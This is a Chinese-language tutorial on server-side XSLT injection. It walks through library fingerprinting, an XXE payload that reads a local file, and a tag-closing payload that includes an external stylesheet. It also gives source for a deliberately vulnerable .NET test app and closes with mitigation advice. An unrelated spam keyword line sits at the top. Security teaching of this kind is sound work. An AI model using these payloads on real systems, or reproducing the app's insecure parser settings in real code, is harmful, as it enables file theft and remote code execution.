自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

解析XSLT服務(wù)器端注入攻擊

安全 漏洞
在這篇文章中,我們跟大家分享一些針對(duì)XSLT的攻擊案例,并讓大家了解到這項(xiàng)技術(shù)的安全缺陷。這種類(lèi)型漏洞將允許攻擊者實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行、從遠(yuǎn)程系統(tǒng)中竊取數(shù)據(jù)、執(zhí)行網(wǎng)絡(luò)掃描、訪問(wèn)目標(biāo)用戶(hù)內(nèi)部網(wǎng)絡(luò)資源等惡意活動(dòng)。

寫(xiě)在前面的話

可擴(kuò)展樣式表轉(zhuǎn)換語(yǔ)言(XSLT)漏洞可以給受影響的應(yīng)用程序帶來(lái)嚴(yán)重的安全隱患,一般來(lái)說(shuō),這種漏洞將允許攻擊者在目標(biāo)設(shè)備上實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。目前已公開(kāi)的XSLT遠(yuǎn)程代碼執(zhí)行漏洞可利用樣本有CVE-2012-5357(影響.Net Ektron CMS)、CVE-2012-1592(影響Apache Struts 2.0)和CVE-2005-3757(影響Google搜索工具)。

從上面這幾個(gè)漏洞樣本中我們可以看到,XSLT漏洞已經(jīng)存在已久了,雖然它不像XML注入、SQL注入或XSS漏洞一樣常見(jiàn),但是我們經(jīng)常能夠在安全審計(jì)的過(guò)程中發(fā)現(xiàn)這種漏洞。不過(guò),目前還沒(méi)有多少人真正了解針對(duì)這種漏洞的利用技術(shù)。

在這篇文章中,我們將跟大家分享一些針對(duì)XSLT的攻擊案例,并讓大家了解到這項(xiàng)技術(shù)的安全缺陷。簡(jiǎn)而言之,這種類(lèi)型的漏洞將允許攻擊者實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行、從遠(yuǎn)程系統(tǒng)中竊取數(shù)據(jù)、執(zhí)行網(wǎng)絡(luò)掃描、訪問(wèn)目標(biāo)用戶(hù)內(nèi)部網(wǎng)絡(luò)資源等惡意活動(dòng)。

除此之外,我們還提供了一個(gè)包含了相關(guān)XSLT漏洞的簡(jiǎn)單應(yīng)用,并在文章結(jié)尾給出了針對(duì)此漏洞的緩解方案。

[[212393]]

XSLT是什么?

XSL(可擴(kuò)展樣式表語(yǔ)言)是一種用于轉(zhuǎn)換XML文檔的語(yǔ)言,XSLT表示的就是XSL轉(zhuǎn)換,而XSL轉(zhuǎn)換指的就是XML文檔本身。轉(zhuǎn)換后得到的一般都是不同的XML文檔或其他類(lèi)型文檔,例如HTML文檔、CSV文件以及明文文本文件等等。

一般來(lái)說(shuō),應(yīng)用程序或模板引擎在處理不同文件類(lèi)型時(shí)需要使用XSLT來(lái)進(jìn)行數(shù)據(jù)轉(zhuǎn)換。很多企業(yè)級(jí)應(yīng)用比較喜歡使用XSLT,比如說(shuō),多用戶(hù)發(fā)票應(yīng)用程序可以使用XSLT來(lái)允許客戶(hù)自定義它們的發(fā)票,客戶(hù)可以根據(jù)自己的需求來(lái)修改發(fā)票信息以及格式。

其他常見(jiàn)應(yīng)用:

  • 報(bào)告功能
  • 多種格式的數(shù)據(jù)導(dǎo)出功能;
  • 數(shù)據(jù)打印和輸出功能;
  • 電子郵件;

在介紹攻擊技術(shù)之前,我們先來(lái)看一看數(shù)據(jù)轉(zhuǎn)換的實(shí)例。下面這個(gè)XML文件包含有多個(gè)水果名稱(chēng)(fruits)以及相關(guān)描述:

  1. <?xml version="1.0" ?> 
  2. <fruits> 
  3.   <fruit> 
  4.     <name>Lemon</name> 
  5.     <description>Yellow and sour</description> 
  6.   </fruit> 
  7.   <fruit> 
  8.     <name>Watermelon</name> 
  9.     <description>Round, green outside, red inside</description> 
  10.   </fruit> 
  11. </fruits> 

 

 

接下來(lái),我們可以使用下面這種XSL轉(zhuǎn)換技術(shù)來(lái)將XML文檔轉(zhuǎn)換為明文文本文件:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  3.   <xsl:template match="/fruits"> 
  4.     Fruits: 
  5.     <!-- Loop for each fruit --> 
  6.     <xsl:for-each select="fruit"> 
  7.       <!-- Print name: description --> 
  8.       - <xsl:value-of select="name"/><xsl:value-of select="description"/> 
  9.     </xsl:for-each> 
  10.   </xsl:template> 
  11. </xsl:stylesheet> 

 

 

 

轉(zhuǎn)換之后的明文文本文件內(nèi)容如下:

  1. Fruits: 
  2.   
  3.       - Lemon: Yellow and sour 
  4.       - Watermelon: Round, green outside, red inside 

利用XSLT服務(wù)器端注入漏洞

在這一部分,我們將跟大家介紹如何發(fā)現(xiàn)并利用應(yīng)用程序中的XSLT漏洞。下面的樣本使用了微軟的System.Xml XSLT實(shí)現(xiàn),不過(guò)類(lèi)似的技術(shù)也應(yīng)用到了很多類(lèi)似Libxslt、Saxon和Xalan等常見(jiàn)代碼庫(kù)上。

尋找漏洞切入點(diǎn)

首先我們需要識(shí)別出應(yīng)用程序包含漏洞的部分,一般來(lái)說(shuō)這種漏洞會(huì)存在于應(yīng)用程序允許上傳任意XSLT文件的地方。除此之外,如果應(yīng)用程序存在這種漏洞的話,它很可能會(huì)使用不受信任的用戶(hù)輸入來(lái)動(dòng)態(tài)生成XSL轉(zhuǎn)換后的XML文檔。

比如說(shuō),應(yīng)用程序可以生成下列XSLT文檔,而字符串“Your Company Name Here”來(lái)自于不受信任的用戶(hù)輸入。

  1. <?xml version=”1.0” encoding=”utf-8”?> 
  2. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  3.   <xsl:template match="/fruits"> 
  4.     Your Company Name Here 
  5.     Fruits: 
  6.     <!-- Loop for each fruit --> 
  7.     <xsl:for-each select="fruit"> 
  8.       <!-- Print name: description --> 
  9.       - <xsl:value-of select="name"/><xsl:value-of select="description"/> 
  10.     </xsl:for-each> 
  11.   </xsl:template> 
  12.   <xsl:include href="external_transform.xslt"/> 
  13. </xsl:stylesheet> 

 

 

 

為了確認(rèn)應(yīng)用程序是否存在這個(gè)漏洞,我們可以向其注入一些類(lèi)似雙引號(hào)、單引號(hào)以及破折號(hào)等特殊字符,因?yàn)檫@類(lèi)字符可以讓XML文檔中的語(yǔ)句失效。如果服務(wù)器返回了錯(cuò)誤,那么這個(gè)應(yīng)用就很有可能存在漏洞。需要注意的是,這種方法同樣適用于XML注入漏洞。

為了方便演示,我們假設(shè)下面給出的樣本允許我們提交任意XSLT文檔。

system-property()函數(shù)

不同的代碼庫(kù)所實(shí)現(xiàn)的XSLT功能也不同,代碼庫(kù)A實(shí)現(xiàn)了的功能代碼庫(kù)B不一定會(huì)實(shí)現(xiàn),而且就算實(shí)現(xiàn)的是相同的功能,不同代碼庫(kù)的實(shí)現(xiàn)方式也不同。一般來(lái)說(shuō),舊版本的代碼庫(kù)默認(rèn)會(huì)開(kāi)啟很多危險(xiǎn)的功能,而新版本代碼庫(kù)的很多功能往往需要開(kāi)發(fā)人員去手動(dòng)開(kāi)啟。

我們可以使用system-property()函數(shù)來(lái)查看代碼庫(kù)的開(kāi)發(fā)者名稱(chēng),該功能符合XSLT v1.0標(biāo)準(zhǔn),所有的代碼庫(kù)都實(shí)現(xiàn)了這種功能。

有效參數(shù):

  1. xsl:vendor 
  2. xsl:vendor-url 
  3. xsl:version 

下列轉(zhuǎn)換可以用來(lái)確定代碼庫(kù)的開(kāi)發(fā)者(vendor):

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  3.   <xsl:template match="/fruits"> 
  4.                                                                                                   <xsl:value-of select="system-property('xsl:vendor')"/> 
  5.   </xsl:template> 
  6. </xsl:stylesheet> 

 

 

由于我們的測(cè)試目標(biāo)使用的是Microsoft .Net System.xml實(shí)現(xiàn),因此返回的結(jié)果為“Microsoft”:

  1. Microsoft 

XXE與數(shù)據(jù)提取

除了常見(jiàn)的XML攻擊之外,XXE攻擊同樣可以影響XSLT。在下面的樣本中,我們使用一個(gè)外部實(shí)體讀取出了“C:\secretfruit.txt”文件的內(nèi)容:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> 
  3. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  4.   <xsl:template match="/fruits"> 
  5.     Fruits &ext_file;: 
  6.     <!-- Loop for each fruit --> 
  7.     <xsl:for-each select="fruit"> 
  8.       <!-- Print name: description --> 
  9.       - <xsl:value-of select="name"/><xsl:value-of select="description"/> 
  10.     </xsl:for-each> 
  11.   </xsl:template> 
  12.   
  13. </xsl:stylesheet> 

 

 

 

ENTITY元素將文件內(nèi)容存儲(chǔ)在了“ext_file”引用中,隨后我們可以用“&ext_file;”語(yǔ)句將內(nèi)容存儲(chǔ)在了主文檔中。輸出數(shù)據(jù)則包含了文件中的秘密內(nèi)容(“Golden Apple”):

  1. Fruits Golden Apple: 
  2.   
  3.       - Lemon: Yellow and sour 
  4.       - Watermelon: Round, green outside, red inside 

這項(xiàng)技術(shù)可以用來(lái)遠(yuǎn)程獲取存儲(chǔ)在本地Web服務(wù)器中的文件內(nèi)容,這些文件可以是包含了憑證數(shù)據(jù)的配置文件或者是包含了敏感信息的文件等等。除此之外,攻擊者還可以通過(guò)UNC (\\servername\share\file)路徑或者URL (http://servername/file)來(lái)獲取目標(biāo)內(nèi)部網(wǎng)絡(luò)系統(tǒng)中托管的文件。

Import和Include

import和include標(biāo)簽可以用來(lái)合并多個(gè)XSLT文檔,如果我們只能在XSLT文檔中間注入內(nèi)容的話,我們也許就不能直接使用XML外部實(shí)體(XXE)攻擊或腳本來(lái)進(jìn)行攻擊了,因?yàn)檫@些攻擊技術(shù)要求我們?cè)谖臋n頭部實(shí)現(xiàn)內(nèi)容注入。

我們還是使用之前那個(gè)XSLT文檔來(lái)進(jìn)行演示:

  1. <?xml version=”1.0” encoding=”utf-8"?> 
  2. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  3.   <xsl:template match="/fruits"> 
  4.     Your Company Name Here 
  5.     Fruits: 
  6.                                                                                                                           <!-- Loop for each fruit --> 
  7.     <xsl:for-each select="fruit"> 
  8.       <!-- Print name: description --> 
  9.       - <xsl:value-of select="name"/><xsl:value-of select="description"/> 
  10.     </xsl:for-each> 
  11.   </xsl:template> 
  12.   <xsl:include href="external_transform.xslt"/> 
  13. </xsl:stylesheet> 

 

 

 

我們需要include下面這個(gè)名為“external_transform.xslt”的外部XSLT文件:

  1. <?xml version=”1.0” encoding=”utf-8”?> 
  2. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  3.     <xsl:template match="/"> 
  4.                                                                                                                        Hello from the external transformation 
  5.     </xsl:template> 
  6. </xsl:stylesheet> 

 

 

為了include外部文檔,我們需要注入下列標(biāo)簽:

  1. <xsl:include href="external_transform.xslt"/> 

但是這里有一個(gè)問(wèn)題,即“xsl:include”標(biāo)簽無(wú)法包含在一個(gè)“xsl:template”標(biāo)簽中,而且生成的文件必須是XML文檔。

因此,我們首先需要閉合“xsl:template”標(biāo)簽,然后添加“xsl:include”標(biāo)簽,最終的Payload如下:

  1. </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> 

注入完成之后,生成的XSLT文檔如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 
  3.   <xsl:template match="/fruits"> 
  4.     </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> 
  5.     Fruits: 
  6.     <!-- Loop for each fruit --> 
  7.     <xsl:for-each select="fruit"> 
  8.       <!-- Print name: description --> 
  9.       - <xsl:value-of select="name"/><xsl:value-of select="description"/> 
  10.     </xsl:for-each> 
  11.   </xsl:template> 
  12.   <xsl:include href="external_transform.xslt"/> 
  13. </xsl:stylesheet> 

 

 

 

轉(zhuǎn)換結(jié)果如下:

  1. Hello from the external transformation 

注:在XXE和document()函數(shù)的幫助下,“include”和“import”標(biāo)簽同樣可以用來(lái)進(jìn)行提取數(shù)據(jù)以及端口掃描等操作。

可用于測(cè)試XSLT漏洞的App

為了給大家提供一種快速測(cè)試Payload的方法,我們專(zhuān)門(mén)開(kāi)發(fā)了一款包含XSLT漏洞的小型.Net應(yīng)用,這款應(yīng)用使用了.Net的System.Xml實(shí)現(xiàn)。

下面給出的是應(yīng)用的源代碼,你可以使用Microsoft Visual Studio對(duì)其進(jìn)行編譯。應(yīng)用程序的源代碼以及編譯版本可點(diǎn)擊【這里】獲取。源代碼如下:

  1. using System; 
  2. using System.Xml; 
  3. using System.Xml.Xsl; 
  4.   
  5. namespace XsltConsoleApplication 
  6.     class Program 
  7.     { 
  8.         /* 
  9.         This code contains serious vulnerabilities and is provided for training purposes only! 
  10.         DO NOT USE ANYWHERE FOR ANYTHING ELSE!!! 
  11.         */ 
  12.         static void Main(string[] args) 
  13.         { 
  14.             Console.WriteLine("\n#####################################################################"); 
  15.             Console.WriteLine("#                                                                   #"); 
  16.             Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #"); 
  17.             Console.WriteLine("#                                                                   #"); 
  18.             Console.WriteLine("#####################################################################\n"); 
  19.             Console.WriteLine("The application expects (in the current working directory):"); 
  20.             Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n"); 
  21.             Console.WriteLine("==================================================================="); 
  22.   
  23.             String transformationXsltFileURI = "transform.xslt"
  24.             String dataXMLFileURI = "data.xml"
  25.   
  26.             // Enable DTD processing to load external XML entities for both the XML and XSLT file 
  27.             XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings(); 
  28.             vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse; 
  29.             vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver(); 
  30.             XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings); 
  31.             XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings); 
  32.   
  33.             XsltSettings vulnerableSettings = new XsltSettings(); 
  34.             // Embedded script blocks and the document() function are NOT enabled by default 
  35.             vulnerableSettings.EnableDocumentFunction = true
  36.             vulnerableSettings.EnableScript = true
  37.             // A vulnerable settings class can also be created with: 
  38.             // vulnerableSettings = XsltSettings.TrustedXslt; 
  39.   
  40.             XslCompiledTransform vulnerableTransformation = new XslCompiledTransform(); 
  41.             // XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols 
  42.             XmlUrlResolver vulnerableResolver = new XmlUrlResolver(); 
  43.             vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);   
  44.   
  45.             XmlWriter output = new XmlTextWriter(Console.Out); 
  46.   
  47.             // Run the transformation 
  48.             vulnerableTransformation.Transform(vulnerableXmlReader, output);    
  49.   
  50.         } 
  51.     } 

注:該應(yīng)用要求當(dāng)前工作目錄中存儲(chǔ)data.xml和transformation.xslt文件。

緩解方案

如果你的應(yīng)用程序使用了XSLT,那我建議你可以考慮以下緩解方案:

  1. 盡可能避免用戶(hù)提供的XSLT文檔;
  2. 不要使用不受信任的輸入來(lái)生成XSLT文檔,例如拼接的字符串。如果你需要使用非靜態(tài)值,你可以選擇從XML數(shù)據(jù)文件或者XSLT文檔中獲取。
  3. 禁用XSLT代碼庫(kù)實(shí)現(xiàn)的所有危險(xiǎn)功能,因?yàn)榇a庫(kù)的默認(rèn)配置通常都是不安全的。確保禁用嵌入式腳本擴(kuò)展,以及其他允許讀寫(xiě)外部文件的專(zhuān)用擴(kuò)展。

如果你想了解更多關(guān)于熱門(mén)XSLT代碼庫(kù)的功能以及相應(yīng)的默認(rèn)配置,可以參考Emanuel Duss 和Roland Bischofberger發(fā)布的文檔【參考文獻(xiàn)】。

總結(jié)

對(duì)于很多應(yīng)用程序來(lái)說(shuō),XSLT雖然是一種功能強(qiáng)大的工具,但它也有很多不為人知的弱點(diǎn)。不良的編碼習(xí)慣將有可能讓?xiě)?yīng)用程序出現(xiàn)安全漏洞,而這些漏洞將有可能允許攻擊者遠(yuǎn)程控制你的應(yīng)用程序并從中提取數(shù)據(jù)。

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2023-06-30 08:00:00

漏洞網(wǎng)絡(luò)安全SSTI

2012-05-21 10:52:43

2012-10-15 13:40:15

IBMdw

2014-01-15 10:06:30

vFlash

2010-08-06 15:35:06

Flex服務(wù)器

2014-11-14 11:03:56

微軟.NET

2011-06-07 16:01:46

Android 服務(wù)器 數(shù)據(jù)交互

2013-12-25 11:01:16

JavaScript

2015-11-04 14:14:56

HTTP網(wǎng)絡(luò)協(xié)議

2021-07-27 06:14:32

服務(wù)器端移動(dòng)端性能測(cè)試

2009-02-16 16:30:23

OperaTurbo服務(wù)器

2010-04-21 13:18:33

RAC負(fù)載均衡配置

2010-05-27 18:49:38

SVN入門(mén)

2010-08-27 10:23:26

DHCP服務(wù)器

2009-07-27 12:56:27

控件CheckBoxLASP.NET服務(wù)器

2009-10-20 17:28:02

VB.NET服務(wù)器端

2010-10-15 08:57:15

PHP多進(jìn)程

2012-11-27 09:59:46

2024-02-22 13:47:40

2009-07-06 17:22:54

JSP服務(wù)器
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)